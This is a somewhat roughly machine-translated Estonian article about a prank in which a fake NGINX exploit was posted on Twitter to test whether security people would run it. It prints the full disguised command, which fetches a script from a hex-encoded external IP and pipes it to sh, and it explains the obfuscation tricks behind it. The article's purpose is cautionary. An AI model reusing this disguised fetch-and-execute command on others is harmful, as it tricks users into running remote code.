Sotsiaalse eksperimendi edu vale Nginx'i ekspluateerimisega

MĂ€rk. tĂ”lge.: Timur Gilmullin originali mĂ€rkuse, mis avaldati 1. juunil, otsustas lĂ€bi viia eksperimendi infotehnoloogia huviliste seas. Selleks valmistas ta vale eksploiteerimise avastamata haavatavusele veebiserveris ja postitas selle oma Twitterisse. Tema eeldused — et spetsialistid, kes nĂ€evad koode ilmselget petmist, löövad ta hetkega paljastama — ei lihtsalt ei Ă”igustanud end... Need ĂŒletasid kĂ”ik ootused, ja vastupidiselt: tweet sai tohutu toetuse paljude inimeste poolt, kes ei kontrollinud tema sisu.

Sotsiaalse eksperimendi edu vale Nginx'i ekspluateerimisega

TL;DR: Ärge mingil juhul kasutage failide torustamist sh vĂ”i bash's. See on suurepĂ€rane viis arvuti kontrolli kaotamiseks.

Soovin jagada teiega vĂ€ikest lugu naljakast PoC-exploitist, mis loodi 31. mail. See tuli kiiresti vastusena uudisele Alisa Esage Ć evtĆĄenko, liige Zero Day Initiative (ZDI), et varsti avaldatakse teave NGINX-i haavatavuse kohta, mis viib RCE (koodide kaugelt tĂ€itmine). Kuna NGINX on paljude veebisaitide aluseks, pidi uudis olema nagu pomm. Kuid teabe «vastutustundliku avalikustamise» protsessi viivituste tĂ”ttu ei olnud toimunud juhtumi ĂŒksikasjad teada - see on ZDI tavaline protseduur.

Sotsiaalse eksperimendi edu vale Nginx'i ekspluateerimisega
Tviit NGINX-i haavatavuse avalikustamisest

LĂ”petades uue curl'i obfuskeermistehnika arendamise, tsiteerisin algset tviiti ja «lekkisin töötava PoC», mis koosnes ĂŒhest koodireast, mis vĂ€idetavalt kasutas avastatud haavatavust. Loomulikult oli see tĂ€ielik jama. Olin kindel, et mind paljastatakse kohe ja et parimal juhul saan paar retviiti (ja siis mis seal ikka).

Sotsiaalse eksperimendi edu vale Nginx'i ekspluateerimisega
Tviit vale ekspluateerimisega

Kuid ma ei suutnud ette kujutada, mis edasi juhtuma hakkas. Minu tviidi populaarsus tĂ”usis taevasse. Üllataval kombel ei ole siiani (1. juuni kell 15:00 Moskva aja jĂ€rgi) paljud isegi aru saanud, et see on vale. Paljud retviitivad seda ilma igasuguse kontrollita (rÀÀkimata kaunite ASCII-graafikate nautimisest, mida see vĂ€lja prindib).

Sotsiaalse eksperimendi edu vale Nginx'i ekspluateerimisega
Vaata, kui ilus see on!

Isegi kui kĂ”ik need tsĂŒklid ja vĂ€rvid on hĂ€mmastavad, on selge, et neid nĂ€ha, pidi inimene koodi oma masinas kĂ€ivitama. Õnneks töötavad brauserid sarnaselt ning arvestades, et seadusprobleemid ei ole mulle vajalikud, tegi kood, mis oli mu saidil peidetud, lihtsalt echo-kutseid, ilma et prooviks kĂ€ivitada vĂ”i installida mingit lisakoodi.

VĂ€ike kĂ”rvalepĂ”ige: netspooky, dnz, mina ja teised mehed tiimist Thugcrowd oleme juba mĂ”nda aega katsetanud erinevaid viise curl-kĂ€skude obfutseerimiseks, sest see on lahe... ja me oleme geegid. netspooky ja dnz leidsid mĂ”ned uued viisid, mis tundusid mulle ÀÀrmiselt paljutĂ”otavad. Liitusin lĂ”busa seltskonnaga ja proovisin IP-dekdecimal muundamisi trikkide komplekti lisada. Selgus, et IP-sid saab ka kuusnurkadesse konverteerida. Veelgi enam, curl ja enamik teisi NIX-tööriistu vĂ”tavad heameelega „söömiseks“ kuusnurkseid IP-sid! Seega oli vajalik lihtsalt luua usutav ja turvaliselt nĂ€iv kĂ€surea kĂ€sk. LĂ”puks jĂ€in selle juurde:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Sotsiaalne elektroonika inseneriteadus (S.E.E.) — rohkem kui lihtsalt phishing

Turvalisus ja harjumus olid eksperimendi keskse koostisosana. Arvan, et need just aitasid kaasa selle edule. Kommando rida viitas selgelt turvalisusele, viidates „127.0.0.1” (tuntud localhost). Arvatakse, et localhost on turvaline ja selle andmed ei lahku kunagi teie arvutist.

Harjumus oli teine oluline S.E.E. komponent eksperimendis. Kuna sihtrĂŒhm koosnes peamiselt inimestest, kes on tuttavad arvutiturvalisuse pĂ”hialustega, oli oluline luua selline kood, mille osad nĂ€ivad tuttavad ja harjumuspĂ€rased (seega turvalised). Vanade ekspluateerimisideede elementide laenamine ja nende ebatavaline kombineerimine osutus vĂ€ga edukaks.

Allpool on ĂŒksikasjalik ĂŒlevaade ĂŒhe realisest koodi nĂ€itest. Kogu see nimekiri on kosmeetilise iseloomuga, ja selle tĂ”husaks toimimiseks ei ole praktiliselt midagi vajalik.

Millised koostisosad on tĂ”eliselt vajalikud? Need on -gsS, -O 0x0238f06a, |sh ning veebiserver. Veebiserver ei sisaldanud ĂŒhtegi pahatahtlikku kĂ€sku, vaid edastas lihtsalt ASCII graafikat kĂ€skude kaudu echo skriptis, mis sisaldub index.html. Kui kasutaja sisestas rea, kus on |sh keskel, index.html laaditi ja viidi ellu. Õnneks ei olnud veebiserveri hooldajatel halbu kavatsusi.

  • ../../../%00 — kujutab vĂ€ljapÀÀsu kataloogist;
  • ngx_stream_module.so — tee juhuslikku NGINX moodulisse;
  • /bin/sh%00<'protocol:TCP' — me justkui kĂ€ivitame /bin/sh sihtmasinas ja suuname vĂ€ljundi TCP-kanalisse;
  • -O 0x0238f06a#PLToffset — salajane koostisosa, millele on lisatud #PLToffset, et nĂ€ida nagu mĂ€lu nihke, mis mingil moel sisalduks PLT-s;
  • |sh; — veel ĂŒks oluline fragment. Me pidime suunama vĂ€ljundi sh/bashi, et kĂ€ivitada kood, mis tuli rĂŒndava veebiserveri aadressilt 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost — valekarp, kuhu netcat viitab /dev/tcp/localhost, et kĂ”ik nĂ€iks jĂ€lle ohutu. Tegelikult ei tee see midagi ja on lisatud rida ilusaks.

Sellega lĂ”ppeb ĂŒhe reaga skripti tĂ”lgendamine ja "sotsiaalne elektroonika" (peente kĂŒberrĂŒnnakute) aspektide arutelu.

Veebiserveri seadistus ja vastumeetmed

Kuna enamus minu jÀlgijatest on infokaitsjad/hÀkkerid, otsustasin teha veebiserverist veidi vastupidavama nende huvi ilmingute suhtes, et neil oleks millegagi tegeleda (ja selle seadistamine oli ka lahe). Ma ei plaani siin loetleda kÔiki lÔkse, kuna eksperiment on jÀtkuvalt kÀimas, aga siin on mÔned asjad, mida server teeb:

  • JĂ€lgib aktiivselt katseid levitada teatud sotsiaalmeedias ja asendab erinevaid eelvaate minipilte, et julgustada kasutajat klikkima lingil.
  • Suunab Chrome'i/Mozilla/Safari jne promoklipi Thugcrowd'i, selle asemel et nĂ€idata shell'i skripti.
  • JĂ€lgib ILMSISED sissetungi/röövimise tunnusjooned, mille jĂ€rel hakkab suunama pĂ€ringuid NSA serveritesse (ha!).
  • Installeerib trooja ning BIOS rootkiti kĂ”ikidele arvutitele, mille kasutajad kĂŒlastavad hosti tavabrauserist (nali!).

Sotsiaalse eksperimendi edu vale Nginx'i ekspluateerimisega
VĂ€ike osa antimeetrist

Sellest lĂ€htudes oli minu ainus eesmĂ€rk Ă”ppida mĂ”ned Apache'i vĂ”imalused — eriti lahedad pĂ€ringute suunamisreeglid — ja mĂ”tlesin: miks ka mitte?

NGINX eksploit (tÔeline!)

JĂ€lgi @alisaesage Twitteris ja vaata ZDI imelise töö jĂ€lgimist, et kĂ”rvaldada tĂ”eliselt olulisi haavatavusi ja eksploitatsiooni vĂ”imalusi NGINX-is. Nende töö on mind alati lummanud ja olen tĂ€nulik Alicemale kĂ”igi mainimiste ja teavituste kannatlikkuse eest, mis tulenes minu rumalast tweet'ist. Õnneks tĂ”i see ka pisut kasu: aitas tĂ”sta teadlikkust NGINX-i haavatavustest ja curl'i vÀÀrkasutuse pĂ”hjustatud probleemidest.

Allikas: habr.com

Osta usaldusvÀÀrne veebihosting DDoS kaitsega, VPS VDS serverid đŸ”„ Osta usaldusvÀÀrne veebihosting DDoS kaitsega, VPS VDS serverid | ProHoster